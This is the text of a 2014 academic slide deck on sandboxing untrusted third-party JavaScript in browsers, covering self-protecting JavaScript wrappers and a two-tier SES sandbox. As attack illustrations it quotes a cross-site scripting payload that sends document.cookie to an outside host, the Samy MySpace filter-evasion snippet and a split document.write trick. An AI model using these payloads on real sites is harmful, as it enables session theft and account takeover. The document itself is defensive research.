Web security: Securing untrusted web content at browsers

WEB SECURITY: SECURING UNTRUSTED WEB CONTENT AT BROWSERSPhu H. Phung

University of Gothenburg, Sweden, and

University of Illinois at Chicago, USA

April 28 2014 – Danang University of Science and Technology, Vietnam

2

Web page is rendered at browsers

• Web pages contain JavaScript code, a scripting language run at browsers

• JavaScript can provide a lot of functionalities rich interactions

92% of all websites use JavaScript[w3techs.com]

“88.45% of the Alexa top 10,000 web sites included at least one

remote JavaScript library”CCS’12

3

4

Third-party JavaScript is everywhere• Advertisements

• Adhese ad network

• Social web• Facebook Connect• Google+• Twitter• Feedsburner

• Tracking• Scorecardresearch

• Web Analytics• Yahoo! Web Analytics• Google Analytics

• …

Two basic composition techniques• Iframe integration

5

<html><body>…<iframe src=“http://3rdparty.com/frame.html”></iframe>…</body></html>

3rd party

6

Two basic composition techniques

<html><body>…<script src=“http://3rdparty.com/script.js”></script>…</body></html>

3rd party

Script inclusion

Third-party JavaScript issues

• Third-party script inclusion run with the same privilege of the hosting page.

• Security issues:• Malicious third-party code• Trusted third-party is compromised • Confidentiality, integrity, and other security risks

7

8

Difficult issues with JavaScript

• JavaScript is a powerful language, but the language design is bad for security, e.g.:• Dynamic scripts: document.write, eval, ...• Encapsulation leakage• ...

<script> document.write(‘<scr’);document.write(‘ipt> malic’);var i= 1;document.write(‘ious code; </sc’);document.write(‘ript>’);</script>

<script> malicious code; </script>

A lot of attacks were launched in

practice

9

Samy attack on Myspace• MySpace tries to filter out JavaScript code in user data

• BUT: The malicious code was injected in a “strange” way that escapes the filter<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);………">

</div>

10

A cross-site scripting attack example

<script>alert(document.location='http://ha.ckers.org/?cookie='+document.cookie);</script>

Step 1 – Inject malicious code to a vulnerable web site Step 2 – Trick victims to the linkStep 3 – Get the cookie and launch attack

11

A real attack with stolen cookies

• Firesheep, an add-on for Firefox• Steal cookies, and then

compromise the account of e.g. Facebook users

October 2010

Another attack

• Million Browser Botnet

(July 2013)• Leverage Advertising

Networks using JavaScript to launch Application-Level DDoS

• Paid on 2 ad networks for displaying treacherous advertisements on pages visited by hundreds of thousands of people

(Malicious code run automatically without user knowledge)

Jeremiah Grossman & Matt JohansenWhiteHat SECURITY

12

13

State-of-the-art

• Limit third-party code to safe subset of JavaScript• Facebook JS, ADSafe, ADSafety, ...

• Browser-based sandboxing solutions• ConScript, WebJail, Contego, ...

• Server-side transformations of scripts to be included• Google Caja, BrowserShield, ...

No compatibility with existing scripts

Browser modifications imply short-term deployment issues

No direct script delivery to browserGreat runtime overhead

Our approach

•A sandbox model for third-party JavaScript• Using only JS libraries and wrappers• No browser modification is required • The third-party code is keep in original• Easily dealing with dynamic features of JavaScript

14

15

API call interception

alert implementation

JavaScript execution environment(e.g. browsers)

Native implementations

code pointers User functions

alert(‘Hi!’) window.alert

alert wrapper(+policy code)

Attacker codealert = function(){...};

alert wrapper

unique

(enforced by SPJS)

16

Deployment illustration<html> <head> <script src=“selfprotectingJS.js"></script> <title>Self-protecting JavaScript </title> <meta content=…> <style>…</style> <script>…</script>  </head> <body> <script type="text/javascript"> (function() {..})(); </script>  </body></html>

Policy code and

enforcement code defined in a text file

The enforcement code can be

deployed anywhere: server side, proxy or browser plug-in, i.e.

no need for a modified browser

The orgininal code is not

syntactically modified

6.33

66.03

0

10

20

30

40

50

60

70

Self-Protecting BrowserShield

Slo

wd

ow

n (t

imes

)

Runtime overhead

17

Effectiveness• Defend almost all of the known XSS attacker vectors

• 34 attack vectors over 38 successful attack vectors

• Provide Security Policy Patterns to build realistic policies e.g. prevent the attack of Firesheep on Facebook

• Defend real-world exploits• phpBB 2.0.18 vulnerabilities – a stored XSS attack• WebCal vulnerabilities –a reflected XSS attack

Our contributions in web security

Lightweight Self-Protecting JavaScript

ASIACCS’09

A Two-tier Sandbox Architecture for Untrusted

JavaScript

JSTools’12Safe Wrappers and Sane Policies for

Self-Protecting JavaScriptAppSec Research ’10

JSand: complete client-side sandboxing of third-party

JavaScript without browser modifications

ACSAC’11SAFESCRIPT: JavaScript Transformation for Policy Enforcement

Nordsec ’13

A Two-tier Sandbox Architecture for Untrusted JavaScript• Based on the two published papers:

• PH Phung, L Desmet. A two-tier sandbox architecture for untrusted JavaScript, invited paper at JSTools’12

• P Agten, S Van Acker, Y Brondsema, PH Phung, L Desmet, F Piessens. JSand: complete client-side sandboxing of third-party JavaScript without browser modifications, ACSAC’12

19

http://scholar.google.com/citations?view_op=view_citation&hl=en&user=3VspJzMAAAAJ&citation_for_view=3VspJzMAAAAJ:roLk4NBRz8UC



http://scholar.google.com/citations?view_op=view_citation&hl=en&user=3VspJzMAAAAJ&citation_for_view=3VspJzMAAAAJ:UebtZRa9Y70C



20

SPJS with Untrusted JavaScript

Self-Protecting JavaScript Code TRUSTED

UNTRUSTED

• No privilege distinguish between hosting code and external code

Hosting code

Hosting code

Hosting code

external code

external code

21

Goals• Deploy SPJS in the context of untrusted JS

• Load and execute untrusted code without pre-processing the code• No browser modification is required

• Enforce modular and fined-grained, stateful security policies for a piece of untrusted code• Protect the hosting page from untrusted code

• Robust to potential flaws in security policies• Bad written policies might not break security

22

Two-tier sandbox architecture

var api = loadAPI(…);

var outerSandbox = cajaVM.compileModule(policyCode);

var enforcedAPI = outerSandbox(api);

var innerSandbox = cajaVM.compileModule(untrustedCode);

innerSandbox(enforcedAPI);

Two-tier Sandbox Architecture

23

Sandbox running

untrusted code, defined in a

separate file e.g. ùntrusted.js’

Sandbox running policy code, defined in a separate JS e.g. `policy.js’

Base-line API implementation,in e.g. àpi.js’ file

JavaScript environment,

e.g. the DOM

The policy code can only access the base-line API and provided

wrapper functions (ensuring no leaks to global)

The untrusted code can only access objects returned by the outer sandbox

24

The architecture in multiple-principal untrusted code

Policy 2Policy 1

untrusted

Policy 3

untrusted

untrusted

Base-line API implementation,in e.g. àpi.js’ file

25

Sandboxing untrusted code

• Use Secure ECMAScript (SES) library developed by Google Caja team• Load a piece of code to execute within an isolated

environment• The code can only interact with the outside world via provided

APIs

var api = {...}; //constructingvar makeSandbox = cajaVM.compileModule(untrustedCodeSrc);var sandboxed = makeSandbox(api);

Isolation technique: The SES library

Object-capability environment• Scripts can access

• Objects they create themselves• Objects explicitly handed to them

APIGlobal context

untrustedCodesandbox

26

Isolation technique: The SES library

27

Base-line APIs implementation

• Create a Virtual DOM• Intercepting wrapper around real DOM• Consult security policy on each operation• Use Harmony Proxies to generically intercept property accesses on objects

• Virtual DOM implementation uses the Membrane Pattern• Wrap any object passed from DOM to sandbox (return

values)• Unwrap any object passed from sandbox to DOM

(arguments)

28

Wrapper example

29

30

Policy definition

• Base-line APIs implementation• Can enforce coarse-grained, generic policies, e.g.:

• Sanitize HTML• Ensure complete mediation

• Fine-grained policies for multiple untrusted JavaScript code• Modular, principal-specific, e.g.: script1 is allowed to

read/write reg_A, script2 is allowed to read reg_A • Stafeful, e.g.: limit the number of popups to 3 • Cross-principal stateful policies, e.g: after script1 write

to reg_A, disallow access from script2 to reg_A

Deployment model

• Untrusted code is loaded into a string variable• Using server-side proxy + XMLHttpRequest (to

overcome same origin policy)• CORS/UMP headers set by the script provider

<script src=“http://3rdparty.com/script.js”></script>

<script src=“ses.js”></script><script src=“api.js”></script><script src=“policy0.js”></script><script>var script = get(“http://3rdparty.com/script.js”);ses.execute(script,policy0);</script>before

after

31

32

Secure dynamic script evaluation

• Special handlers to intercept all methods that allow script tags to be added• node.appendChild, node.insertBefore,

node.replaceChild, node.insertAfter• document.write, …• Event handlers in HTML, e.g. <…onclick=“javascript:xyz(…)”>

1. Parse partial DOM tree/HTML

2. Execute scripts in the sandbox environment

Different parsing techniques• Via a sandboxed iframe

1. Create sandbox iframe

2. Set content via srcdoc attribute• More performant• Parsed exactly as will be interpreted by browser• Executed asynchronously

• (Alternative) Via a HTML parsing library in JavaScript

33

34

Loading additional code in the sandbox

• Several use cases require external code to be executed in a previously set up sandbox• Loading API + glue code• Dynamic script loading

• Two new operations:• innerEval(code)• innerLoadScript(url)

Case studies• Single principal code

• Multiple-principal code• Context-aware ads

35

36

Introduction to our research

37

Past projects

• SESAME: Security for Extensible Software Architectures in Mobile Environments, collaborated with Volvo Technology.

• European WebSand project (3 years, 5 EU universities and industries)

39

A real attack example

http://www.wired.com/threatlevel/2010/03/hacker-bricks-cars/

40

The future in-vehicle system

41

Motivations for fined-grained policy enforcement at runtime• Third-party service needs to

use sensitive resources, e.g. GPS location,SMS sending to function

• Potential security risks: e.g. leaking GPS info, send too many SMS messages causing high costNeed for fined-grained security policy enforcement at runtime

Policy: allow SMS sending but restricted to a specific recipient address, limit on the number of messages sent per

day, depending on the vehicle's location

42

Our contributions to vehicle application security

Security Policy Enforcement for the OSGi Framework using Aspect-Oriented

ProgrammingCOMPSAC’08

A Model for Safe and Secure Execution of Downloaded

Vehicle ApplicationsRTIC’10

Ongoing work

• interWebSec: Cross-Language Web Protection, funded by Swedish Research Council (3 years, on-going)

• A general platform for Bot-as-a-Service in Smart Cities (with Vienna Univ. Tech.)

43

Research group in Sweden• Well-known for web and language-based security • 3 faculties, 3 postdocs, ~8 PhD students

• http://vimeo.com/82206652

44

http://vimeo.com/82206652

http://vimeo.com/82206652

Research group in USA

• One faculty, 3 postdocs, 6 PhD students• Well-known for computer systems security with the use of ideas from compilers, operating systems and formal methods

• Publications in CCS, Oakland, USENIX Security• Ongoing projects

• Secure Web Advertisements, funded by NSF (3 years with UIC & UT Dallas, on-going)

• Defensive Optimizing Compiler, funded by DARPA (3 years with UIC, UCLA & Bell Labs, on-going)

45

Thank you!

[email protected]

47

Implementation challenges

•Legacy scripts need additional pre-processing to be compatible with the framework• Secure ECMAScript restrictions

• A subset of ECMAScritp strict mode• Global variables aliased as window properties

• No ‘this’ auto coercion

48

49

JS transformation examples